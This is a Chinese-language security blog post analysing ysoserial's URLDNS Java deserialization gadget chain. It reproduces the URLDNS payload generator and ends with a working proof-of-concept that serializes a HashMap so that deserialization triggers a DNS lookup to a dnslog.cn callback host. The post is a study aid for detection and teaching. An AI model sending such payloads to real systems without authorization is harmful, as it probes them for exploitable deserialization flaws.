关于URLDNS利用链的学习

GTL-JU Lv3

JAVA URLDNS利用链分析

一、概述

URLDNS是ysoserial项目中的一条利用链,这条利用链主要用来做验证反序列化漏洞是否存在。

URLDNS利用链有以下特点:

1
2
3
1、利用链只能发起DNS请求,不能进行其他的利用
2、不限制JDK版本,使用java内置类,对第三方依赖没有要求
3、没有回显,所以可以通过DNS请求来验证反序列化漏洞是否存在

利用URLDNS链验证反序列化漏洞存在的原理:

java.until.hashmap类实现了serializable接口,重写了read0bject方法,再反序列化时会调用hash函数计算key的hashcode,

java.net.URL的hashcode再计算时会调用getHostAddress来解析域名, 从而发出DNS请求。

那如何利用这个特点去验证是否存在反序列化漏洞?

我们可以构造一个恶意的序列华对象,序列化对象中包含一个恶意的URL地址,当目标将序列化对象进行反序列化时,会调用hash函数计算key的hashcode,然后java.net.URL的hashcode再计算时会调用getHostAddress来解析域名,解析之后回想我们定义的url地址发送请求,从而我们可以验证是否存在反序列化请求。

二、URLDNS利用链分析

在上面我们简单介绍了以下URLDNS链的作用和工作原理,下面我们通过ysoserial项目来相信分析以下利用链的实现过程。

项目地址:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial

我们先看一下URLDNS.java代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
//在创建有效负载时避免DNS解析
//由于字段<code>java.net.URL.handler</code>是暂态的,因此它不会成为序列化负载的一部分。
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

image-20230421173838312

可以看到在这里实例化了一个Hashmap类

我们先了解以下hashmap类:

hashmap是一种常用的集合类,它实现了map接口,可以储存键值对。hashmap使用哈希表来实现,提供了快速的插入,删除和查找工作。

下面是hashmap常用的一些方法:

1
2
3
4
5
put(key, value):将指定的键值对存储到HashMap中,如果key已经存在,则会用新的value覆盖旧的value,返回值为旧的                  value或null。
get(key):返回指定键所映射的值,如果该键不存在,则返回null。
remove(key):从HashMap中移除指定的键值对,如果该键不存在,则不进行任何操作,返回值为被移除的value或null。
size():返回HashMap中键值对的数量。
clear():移除HashMap中的所有键值对。

然后上面说实例化了一个HashMap类,这里因为Hashmap类重写了read0bject()方法。

跟进hashmap类的read0bject()方法(这里只给出主要部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
******
******
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
******
******
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

可以看到这里有一个循环,先分析一下这个循环:

1
2
3
4
5
6
7
8
9
10
11
12
@SuppressWarnings("unchecked")是Java中的一个注解,用于告诉编译器忽略在代码中出现的类型转换警告。在Java中,有些类型转换可能会导致运行时异常,例如ClassCastException,因此编译器会在代码中出现类型转换时发出警告。

K key = (K) s.readObject();
是HashMap类中的一个方法,用于从ObjectInputStream对象中读取一个键对象,并将其转换为泛型类型K。也就是进行反序列化后转换类型。

V value = (V) s.readObject();
是HashMap类中的一个方法,用于从ObjectInputStream对象中读取一个值对象,并将其转换为泛型类型V

putVal(hash(key), key, value, false, false);
是HashMap类中的一个方法,用于将指定的键值对添加到HashMap中。
首先,代码调用hash(key)方法计算出键的哈希值,以确定该键值对在HashMap中的位置。hash(key)方法是HashMap的一个私有方法,用于计算指定键的哈希值。
接下来,代码调用putVal()方法将键值对添加到HashMap中。putVal()方法是HashMap的一个私有方法,用于将指定的键值对添加到HashMap中。它的参数包括哈希值、键、值、两个布尔值,用于指定是否需要覆盖已有的键值对以及是否需要扩容HashMap。

其实整体来看就是通过遍历读取序列化后的键和值并将其反序列化后重新组成键值对

继续跟进hash(key)方法:

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里key!=null就会执行h = key.hashCode()

到这里我们就可以找那些可以序列化的类中有hashcode方法(从触发点倒着分析这条利用链可能更好分析一点)。

重新回到urldns.java类分析

image-20230421201715818

可以看到首先实例化了一个URLStreamHandler类,然后又实例化了hashmap和URL类

然后是ht.put(u,url)向名为 htHashtable 对象中添加一个新的键值对,其中 u 是键,url 是值。

跟进一下put方法:

image-20230421203006633

可以看到这里调用了purval函数作为返回值

这里的key就是我们上面的url对,然后这里的key是作为hash()方法的参数,那我们继续跟进hash()方法:

image-20230421203213447

跟进到hash方法后我们可以看到当key值就是我们的url对象不为null的时候会调用hashcode方法,这里的key就是url类的实例化对象。

在hash方法中,会调用key的hashCode方法,也就是说,通过创建一个HashMap对象,对该对象的key传入其他任意对象,再对HashMap实例进行序列化,再将其进行反序列化时,就会触发执行任意对象hashCode方法。

跟入查看URL类的hashcode()方法:

image-20230421203504776

可以看到hashcode!=-1会调用 handler的 hashCode() 方法

然后这里handler是URLStreamHandler的实例对象。

跟进一些URLStreamHandler的hashcode方法:

image-20230421205125569

可以看到hashcode方法中调用了getHostAddress,传入的是url对象

然后返回url对象调用getHostAddress方法。

继续跟进getHostAddress方法:

image-20230421205444974

继续跟进:

image-20230421205600360

这里就是我们这条利用链的最终触发点了,

InetAddress.getByName() 是Java中的一个方法,它将主机名或IP地址字符串作为参数,并返回一个表示其网络地址的 InetAddress 对象。如果参数是主机名,getByName() 方法将查询DNS以查找该主机名的IP地址。如果参数是IP地址字符串,则该方法将返回一个表示该IP地址的 InetAddress 对象。该方法可能会抛出 UnknownHostException 异常,如果主机名无法解析或IP地址无效,则会抛出该异常。

这里根据主机名获取ip地址会进行一次DNS查询

这里进行一个小demo吧:

1
2
3
4
5
6
7
8
9
10
11
12
package ysoserial.test2;

import java.net.InetAddress;
import java.net.UnknownHostException;

public class getHostAddressTest {
public static void main(String[] args) throws UnknownHostException {
String host ="baidu.com";
InetAddress hostAddess = InetAddress.getByName(host);
System.out.println(hostAddess.getHostAddress());
}
}

测试结果:

image-20230422182109428

可以看到对域名进行了一次解析,那么我们就可以通过这里来验证是否存在反序列化漏洞。

那么经过上面的分析,我们可以得到一个利用链:

1
2
3
4
5
6
7
HashMap->readObject
HashMap->hash
URL->hashCode
URLStreamHandler->hashCode
URLStreamHandler->getHostAddress
URL->getHostAddress
-> InetAddress.getByName(host)

整体来说就是:

1
2
3
4
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

经过上面的分析我们对urldns利用链有了一定的了解,但是大家这里就会有一个疑问,既然最终调用的是url类里面的hashcode,为什么还要从hashmap类入手呢?

这是因为在url类里面的readobject里面并没有调用hashcode,所以我们想要使用这条链就要找到一个在反序列化过程中调用了hashcode的类,而使用hashcode方法最多的自然是hashmap结构,而我们进入hashmap类的源码可以看到,其readObject方法在最后调用了hash方法:

image-20230714203107013

跟进hash方法:

image-20230714203153750

可以看到这里调用了url类的hashcode方法,这也是我们为什么要从hashmap类入手的原因

上面我们从正面分析了从hashmap到url类的hashcode是如何触发dns解析

回到hashmap的readobject方法:

1
2
3
4
5
6
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);

key 是从K key = (K) s.readObject(); 这段代码,也是就是readObject中得到的,说明之前在writeObject会写入key

进入到hashmapwriteObject

image-20230715085510298

可以看到这里最后调用了internalWriteEntries方法

跟进:

image-20230715085612835

可以看到这里的key和value都是从tables中获取的,而table的值就是hashmap中的table的值

那我们想要修改table的值就需要调用hashmap中的put方法

但是hashmap中的put方法也会对key调用一次hash方法,所以在这里会产生第一次dns查询

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

为了避免这一次的dns查询,ysoserial 中使用SilentURLStreamHandler 方法,直接返回null,并不会像URLStreamHandler那样去调用一系列方法最终到getByName,因此也就不会触发dns查询了

image-20230715085934670

或者在生成paylaod的时候将hashcode的值设为除-1外其他的.

通过上面的分析我们自己来写一条pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://s0y1rl.dnslog.cn/");
Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");//通过反射获取到hashcode
hashCode.setAccessible(true);//绕过java语言权限控制检查权限
hashCode.set(url, 0);//设置hashcode的值为其他数字
hashMap.put(url, null);//调用hashmap对象中的put方法,此时hashcode不为-1不触发dns查询
hashCode.set(url, -1);//将hashcode重新赋值为-1
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(hashMap);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
inputStream.readObject();
} catch (IOException e) {
e.printStackTrace();
}
}
}

运行结果:

这里通过dnslog来进行测试

image-20230714203318902

运行代码后:

image-20230714203413133

  • 标题: 关于URLDNS利用链的学习
  • 作者: GTL-JU
  • 创建于: 2023-07-15 09:18:04
  • 更新于: 2023-07-15 09:19:14
  • 链接: https://gtl-ju.github.io/2023/07/15/URLDNS/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
此页目录
关于URLDNS利用链的学习